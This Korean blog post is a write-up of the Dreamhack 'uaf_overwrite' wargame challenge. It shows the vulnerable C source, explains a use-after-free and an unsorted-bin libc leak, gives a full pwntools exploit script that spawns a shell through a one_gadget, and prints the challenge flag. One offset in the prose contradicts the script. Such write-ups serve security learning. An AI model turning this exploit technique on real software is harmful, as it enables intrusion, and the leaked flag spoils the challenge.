본문 바로가기

Wargame/Dreamhack

[Dreamhack] uaf_overwrite

 

 

보호 기법을 확인해보자.

 

 

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;
  
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

 

 

Human과 Robot 구조체는 16 Byte * 3  같은 크기이다.

human_func() 함수와 robot_func() 함수는 메모리 할당 후 초기화하지 않는다.

두 구조체의 크기가 같기 때문에 Human 구조체의 age에 onegadget 주소를 넣고 해제한 후, Robot 구조체를 할당하여 fptr 함수 포인터를 호출하면 UAF 취약점으로 인해 쉘이 뜰 것이다.

robot_func() 함수는 fptr이 null이 아니면 호출을 해주고 있기 때문에 onegadget 실행이 가능하다.

custom_func() 함수는 size의 크기가 0x100 이상이면 메모리를 할당하고 초기화를 하지 않아서 UAF 취약점을 가진다.

 

 

libc 파일이 주어졌기에 one_gadget 명령어를 사용해서 oneshot 가젯 오프셋을 구하려 했다.

one_gadget 설치 명령어는 아래와 같다.

 

 

 

 

oneshot 가젯 오프셋은 0x10a41c이다.

oneshot 가젯은 libc 내부에서 선언된 가젯이기에 주소를 구하려면 libc base addr을 알아야 한다.

UAF 취약점을 활용해 libc base addr을 구해보자.

 

ptmalloc은 메모리 할당 요청이 발생하면 먼저 해제된 메모리 공간 중에서 같은 크기의 재사용 가능한 공간이 있는지 탐색한다.

ptmalloc에는 free된 청크가 저장되는 128개의 bin이 있는데 이 중 62개는 smallbin, 63개는 largebin, 1개는 unsortedbin, 2개는 사용되지 않는다.

libc base addr을 구하는데 이용되는 것은 unsorted bin이다.

 

from pwn import *

import warnings
warnings.filterwarnings( 'ignore' )   

p = remote("host3.dreamhack.games",14034)
l = ELF('./libc-2.27.so')
arena_offset = l.symbols['__malloc_hook'] + 0x10

def human(weight, age):
    p.sendlineafter(">", "1")
    p.sendlineafter(": ", str(weight))
    p.sendlineafter(": ", str(age))
    
def robot(weight):
    p.sendlineafter(">", "2")
    p.sendlineafter(": ", str(weight))
    
def custom(size, data, idx):
    p.sendlineafter(">", "3")
    p.sendlineafter(": ", str(size))
    p.sendafter(": ", data)
    p.sendlineafter(": ", str(idx))

custom(0x500, "AAAA", 100)
custom(0x500, "AAAA", 100)
custom(0x500, "AAAA", 0)
custom(0x500, "B", 100)

success("main_arena_offset : "+hex(arena_offset))

lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c

success("libc_base : "+hex(lb))
success("one_gadget : "+hex(og))

human("1", og)
robot("1")

p.interactive()

 

코드 설명을 주석으로 달려다가 길어져서 아래로 옮겼다.

 

2, 3번째 줄은 없어도 플래그를 출력할 수는 있지만 워닝 안 보이게 해준다.

 

custom_func()를 4번 실행해서 libc_base를 Leak. 
0x500 공간을 2번 할당 1번 해제 -> unsorted bin에 청크가 저장, 1번 재할당 -> 청크 해제.


custom_func()이 할당된 청크 데이터를 출력할 때 재할당 과정에서 user input 값이 덮어씌워진 fd 값이 출력되는데, fd==main_arena addr인 상태에서 user input 데이터를 저장했기 때문이다.

main_arena base address = __malloc_hook + 0x10 이다.


[ unsorted bin fd] = [libc base addr] + [main_arena offset] + [user_input] 즉, 0x3ebc42
user input은 B==0x42


[libc base addr] = [leak addr] - 0x3ebc42 이다.

 

그렇게 구한 libc base addr에 0x3ebc42를 더해 oneshot 가젯의 주소를 구한다.

 

그리고 human_func()와 robot_func()를 실행해 UAF 취약점을 발생시켜 fptr 포인터를 oneshot 가젯 주소로 overwrite한 뒤 실행한다.

 

 

 

DH{130dbd07d09a0dc093c29171c7178545aa9641af8384fea4942d9952ed1b9acd}

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] sint  (0) 2023.11.25
[Dreamhack] tcache_dup  (0) 2023.11.19
[Dreamhack] basic_exploitation_002  (0) 2023.11.11
[Dreamhack] Return to library  (0) 2023.09.24
[Dreamhack] ssp-001  (0) 2023.09.24